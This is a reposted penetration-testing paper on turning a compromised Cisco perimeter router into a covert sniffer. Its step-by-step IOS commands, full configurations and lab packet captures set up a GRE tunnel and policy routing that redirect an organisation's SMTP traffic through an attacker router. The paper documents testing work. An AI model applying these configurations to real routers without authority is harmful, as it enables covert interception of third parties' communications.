[转载]Using a Compromised Router to Capture Network Traffic

文章作者：David Taylor
信息来源：http://infosecwriters.com/texts.php?op=display&id=41

Table of Contents

• 1. Introduction
  
• 2. Approach
  
• 3. Methodology
  • 3.1 Equipment
  • 3.2 Establish a GRE Tunnel
  • 3.3 Scenario 1 Policy Routing
  • 3.4 Scenario 1 Unix Workstation Setup
  • 3.5 Scenario 2 Policy Routing
  • 3.6 Scenario 2 Unix Workstation Setup
  • 3.7 Define Traffic to Capture
  • 3.8 Policy Routing on Target Router
    
• 4. Results
  • 4.1 Scenario 1
  • 4.2 Scenario 2
    
• 5. Conclusions and Discussion
  • 5.1 Transparency
  • 5.2 Latency Considerations
  • 5.3 Further Decoding of Traffic
  • 5.4 Availability
    
• 6. Appendices
  • 6.1 Appendix A – Target Router Configuration
  • 6.2 Appendix B – Attacker Router Configuration Scenario 1
  • 6.3 Appendix C – Attacker Router Configuration Scenario 2
  • 6.4 Appendix D – Scenario 1 Traffic Capture
  • 6.5 Appendix E – Scenario 2 Traffic Capture
  • 6.6 Appendix F – Latency Testing
    

1. Introduction

This document details the approach, methodology and results of recent experimentation into the use of a captured perimeter router as a tool for network traffic capture.

In penetration testing scenarios it is often possible to compromise the perimeter router of an organisation. The routers are outside the corporate firewall and often poorly protected. In some cases the captured router may be useful as a launch point for further attack on the target network, but to be truly valuable it is desirable to use this captured router to sniff network traffic to and from the organisation.

A technique to do this using GRE tunnels and policy routing was first published by Gauis in the Phrack #56 article “Things to do in Cisco Land when you are dead”. (http://www.phrack.com/show.php?p=56&a=10). Gauis’ technique involved establishing a GRE tunnel from the captured router to a Linux machine using proof-of-concept software built from modified tcpdump code.

Joshua Wright used a variation on this technique in his paper: “Red Team Assessment of Parliament Hill Firewall” for SANS GCIH practical assessment. (http://www.giac.org/practical/Joshua_Wright_GCIH.zip). Joshua terminated the GRE tunnel on a second Cisco router, but only managed to capture traffic in one direction: outbound from the organisation.

In this experiment Joshua’s approach was extended, again using a second Cisco router to terminate the GRE tunnel, but transparently capturing traffic to and from the organisation. One of the primary motivating factors for the development of this technique was to minimise the need for customised software and components.

Special thanks go to Darren Pedley (Darren.Pedley@alphawest6.com.au) for his assistance with router configs and sanity checking throughout the experiment.

2. Approach

The approach chosen, was to establish a GRE tunnel between the captured router (“Target router”) and a second router that is under the control of the attacker (“Attacker router”). Policy routing was then used to redirect ingress and egress traffic for the organisation to the attacker router via the GRE tunnel. The traffic was then ‘handled’ by the attacker router before being returned to the target router for final delivery (again via the GRE tunnel).

Two handling scenarios were tested. In the first, the captured traffic was merely ‘reflected’ by the attacker router back down the GRE tunnel, as shown in Figure 1. This method had the advantage of simplicity in the router configuration, but introduced the following issues:

• In order to capture the traffic it is necessary to ‘sniff’ the external interface of the attacker router. This would be somewhat difficult for non-ethernet network media.
• Captured network traffic is GRE encapsulated. It would be necessary to decapsulate this traffic before an IP decode could be performed.

Figure 1 – Scenario 1. I

In the second handling scenario, the attacker router was configured to pass the captured traffic by a Unix workstation before sending it back to the target router. This is shown in Figure 2. This scenario overcomes the two previous disadvantages:

• The external network media on the attacker router is arbitrary.
• The traffic forwarded via the Unix workstation has already been decapsulated, and requires less processing to extract useful information.

Figure 2 – Scenario 2

3. Methodology

The diagram in Figure 3 shows the network topology that was used in this experiment.

Figure 3 – Test Lab Topology

3.1 Equipment
The target router used was a dual Ethernet Cisco 3600. The attacker router was a dual Ethernet Cisco 2600. This methodology would be equally applicable to any Cisco IOS router. It may be applicable to other routers that support GRE and policy routing.

The mail server was a Linux laptop. The network sniffer was a Solaris workstation. The choice of these devices was arbitrary.

3.2 Establish a GRE Tunnel
The first step, following basic IP configuration of the routers, is to establish a GRE tunnel between the target router and the attacker router. In a real-world implementation of this methodology, the target router must first be compromised to the point that it can be remotely configured. Methods for compromise of this device are beyond the scope of this document.

On the target router:

Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit
Target#

A tunnel interface called tunnel0 is created. It is assigned a local (virtual) IP address of 192.168.5.1. The external Ethernet interface of the router is defined as the local tunnel endpoint, and the attacker router external IP address is defined as the remote tunnel endpoint.

The equivalent commands are entered on the attacker router.

On the attacker router:

Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

At this point, the GRE tunnel has been established between the two routers. Regardless of how many hops may exist between the routers over the Internet, the GRE tunnel is now considered a single hop.

3.3 Scenario 1 Policy Routing
For scenarion 1 (see Figure 1), we establish policy routing on attacker router tunnel0 interface to ‘reflect’ traffic arriving on the GRE tunnel.

On the attacker router:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

The access-list 100 matches all IP traffic. The route map selects all traffic that matches access-list 100 (all traffic) and sends it to 192.168.5.1, which is the target router end of the GRE tunnel. This route map is applied to the tunnel0 interface.

The result of this is that all traffic arriving on the tunnel0 interface of the attacker router will be forwarded back out that interface (the tunnel) to the target router.

3.4 Scenario 1 Unix Workstation Setup
In scenario 1, the attacker Unix workstation was placed outside the external interface of the attacker router. In this instance, the IP configuration of the Unix workstation is arbitrary, as the workstation only needs to passively capture the network traffic.

3.5 Scenario 2 Policy Routing
In the second scenario we establish policy routing on attacker router tunnel interface and internal Ethernet interface to ‘reflect’ traffic arriving from GRE tunnel, via the Unix workstation on the internal Ethernet interface.

On the attacker router:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

The send-traffic-in route map is applied to the tunnel0 interface. It forwards all traffic arriving from the tunnel to the Unix workstation primary Ethernet address (192.168.3.2). The workstation routes this traffic back to the attacker router (192.168.4.1) through default routing.

The send-traffic-out route map is applied to the internal Ethernet interface on the attacker router. It forwards all traffic from the workstation back out the GRE tunnel to the target router.

3.6 Scenario 2 Unix Workstation Setup
The Unix workstation in scenario 2 is configured as follows:
Primary IP address: 192.168.3.2
Secondary IP address: 192.168.4.2

This secondary address is a virtual address on the same physical network interface.
Default route: 192.168.4.1

3.7 Define Traffic to Capture
Next, it is necessary to establish access lists for traffic to be captured on target router.
On the target router:

Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit
Target#

This access-list matches all SMTP (25/tcp) traffic. It is necessary to define rules to match incoming and outgoing packets as this access-list will be used in route maps for both interfaces of the target router.

3.8 Policy Routing on Target Router
Finally, we establish policy routing on the target router to send interesting traffic via the GRE tunnel.
On the target router:

Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit
Target#

A route map is defined that matches traffic from access-list 101 (all SMTP traffic), and forwards this traffic to the attacker router over the GRE tunnel. This route map is applied to both the inside and outside interfaces of the router.

At this point all ingress and egress SMTP traffic through the router will be redirected to the attacker router via the GRE tunnel. Traffic arriving at the captured router from the GRE tunnel (return traffic) is delivered according to standard routing.

Final configurations for the target router may be found in Appendix A. The final configurations for Scenario 1 and 2 on the attacker router may be found in Appendices B and C respectively.

4. Results

In both scenarios SMTP connections were diverted via the GRE tunnel and successfully captured by the Unix workstation.

4.1 Scenario 1
The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the first scenario:

1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799

Packet 1 shows the TCP SYN packet from the client to the mail server.
Packets 2 and 3 show this SYN being sent from the target router to the attacker router and back again.
After packet 3, the SYN is delivered to the mail server: this is not shown. The mail server responds to this with a SYN/ACK: this is not shown.
Packets 4 and 5 show the SYN/ACK traversing the GRE tunnel.
Packet 6 shows the SYN/ACK being returned to the mail client.
Packet 7 shows the ACK packet (final packet in three way handshake) from the client to the mail server.
Packets 8 and 9 show this ACK traversing the GRE tunnel.
After packet 9, the ACK is delivered to the mail server, the session is established, and the SMTP connection continues.

A more complete transcript of this capture, along with a protocol decode for packet 2 may be found in Appendix D.

4.2 Scenario 2
The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the second scenario:

1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712

Packet 1 and 2 show the TCP SYN packet from the client to the mail server. This (and all) traffic is duplicated since the captured traffic is routed in and out of the same interface on the Unix workstation.
Packets 3 and 4 show the SYN/ACK from the mail server to the client.
Packets 5 and 6 show the ACK from the client to the mail server (final part of three way handshake).

A more complete transcript of this capture may be found in Appendix E.

5 Conclusions and Discussion

5.1 Transparency
This method of interception is almost completely transparent to the end users of the system (see the following section on latency). Standard traceroute utilities will not show the extra hops incurred by the GRE redirection, since traceroute traffic is not selected for policy routing.
It would be possible, but somewhat difficult, to write a TCP-based traceroute utility using port 25 connections and increasing TTL values in order to discover the additional hop/s incurred.

Of course, examination of the target router configuration would easily lead to discovery.

5.2 Latency Considerations
The process of redirecting the traffic via the attacker router will introduce additional latency on the captured traffic. This increase in latency may be represented as:
2n + m
Where n is the time taken for traffic to move across the Internet from the target router to the attacker router, and m is the time delay incurred by the attacker router (and Unix workstation) in handling this traffic.
The value of m was found to be in the order of 10ms in lab conditions – see Appendix F for details.
Where n is likely to be large, this technique should be restricted to non-time-critical traffic such as SMTP, DNS zone transfers and the like.

5.3 Further Decoding of Traffic
The extraction of useful data from the captured traffic is left as an exercise to the reader. Standard Unix utilities such as strings, and od may be handy for this.

5.4 Availability
Where this technique is used in real-world circumstances, it should be noted that the attacker router (and the Unix workstation in scenario 2) become single points of failure in the communications path. If either of these devices were to become unavailable, the traffic selected by the access list in section 3.7 would not be delivered.

6. Appendices

6.1 Appendix A – Target Router Configuration
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Target
!
no logging console
!
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.1 255.255.255.0
tunnel source Ethernet0/1
tunnel destination 192.168.1.2
!
interface Ethernet0/0
ip address 192.168.2.1 255.255.255.0
ip policy route-map capture-traffic
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.1 255.255.255.0
ip policy route-map capture-traffic
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 101 permit tcp any any eq smtp
access-list 101 permit tcp any eq smtp any
no cdp run
route-map capture-traffic permit 10
match ip address 101
set ip next-hop 192.168.5.2
!
line con 0
line aux 0
line vty 0 4
privilege level 15
login
!
end

6.2 Appendix B – Attacker Router Configuration Scenario 1
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.2 255.255.255.0
ip policy route-map reflect
tunnel source Ethernet0/1
tunnel destination 192.168.1.1
!
interface Ethernet0/0
ip address 192.168.3.1 255.255.255.0
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.2 255.255.255.0
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map reflect permit 10
match ip address 100
set ip next-hop 192.168.5.1
!
line con 0
line aux 0
line vty 0 4
privilege level 15
no login
!
end

6.3 Appendix C – Attacker Router Configuration Scenario 2
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.2 255.255.255.0
ip policy route-map send-traffic-in
tunnel source Ethernet0/1
tunnel destination 192.168.1.1
!
interface Ethernet0/0
ip address 192.168.4.1 255.255.255.0 secondary
ip address 192.168.3.1 255.255.255.0
ip policy route-map send-traffic-out
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.2 255.255.255.0
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map send-traffic-out permit 10
match ip address 100
set ip next-hop 192.168.5.1
!
route-map send-traffic-in permit 10
match ip address 100
set ip next-hop 192.168.3.2
!
line con 0
line aux 0
line vty 0 4
privilege level 15
no login
!
end

6.4 Appendix D – Scenario 1 Traffic Capture
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald
13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801

82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q
83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u
89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i
95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t
101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost.
115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617

A snoop decode of a GRE packet is shown below:

ETHER: ----- Ether Header -----
ETHER:
ETHER: Packet 2 arrived at 12:38:37.06
ETHER: Packet size = 86 bytes
ETHER: Destination = 0:d0:ba:fe:30:e1,
ETHER: Source = 0:e0:1e:7e:a0:c2,
ETHER: Ethertype = 0800 (IP)
ETHER:
IP: ----- IP Header -----
IP:
IP: Version = 4
IP: Header length = 20 bytes
IP: Type of service = 0x00
IP: xxx. .... = 0 (precedence)
IP: ...0 .... = normal delay
IP: .... 0... = normal throughput
IP: .... .0.. = normal reliability
IP: Total length = 72 bytes
IP: Identification = 823
IP: Flags = 0x0
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 0 bytes
IP: Time to live = 255 seconds/hops
IP: Protocol = 47 ()
IP: Header checksum = 34fc
IP: Source address = 192.168.1.1, 192.168.1.1
IP: Destination address = 192.168.1.2, 192.168.1.2
IP: No options
IP:

A hex decode of the same GRE packet is shown below:

0000000 736e 6f6f 7000 0000 0000 0002 0000 0004
0000020 0000 0056 0000 0056 0000 0070 0000 0000
0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0
0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f
0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500
0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8
0000140 0202 0651 0019 99d0 26a4 0000 0000 7002
0000160 4000 f86a 0000 0204 0534 0101 0402 0000

6.5 Appendix E – Scenario 2 Traffic Capture
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald
8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald
9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712

59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q
60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q
61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u
64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u
65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i
68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i
69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t
72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t
73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost.
80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost.
81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712

6.6 Appendix F – Latency Testing
Latency incurred by the additional handling of traffic was examined. ICMP ping was used in the lab to test this from the client machine on the Internet.

Without redirection/capture…

C:\>ping 192.168.2.2

Pinging 192.168.2.2 with 32 bytes of data:

Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254

Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 10ms, Average = 2ms

C:\>ping -l 1000 192.168.2.2

Pinging 192.168.2.2 with 1000 bytes of data:

Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254

Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\>

With redirection/capture…

C:\>ping 192.168.2.2

Pinging 192.168.2.2 with 32 bytes of data:

Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250

Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms

C:\>ping -l 1000 192.168.2.2

Pinging 192.168.2.2 with 1000 bytes of data:

Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250

Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 20ms, Maximum = 31ms, Average = 22ms

C:\>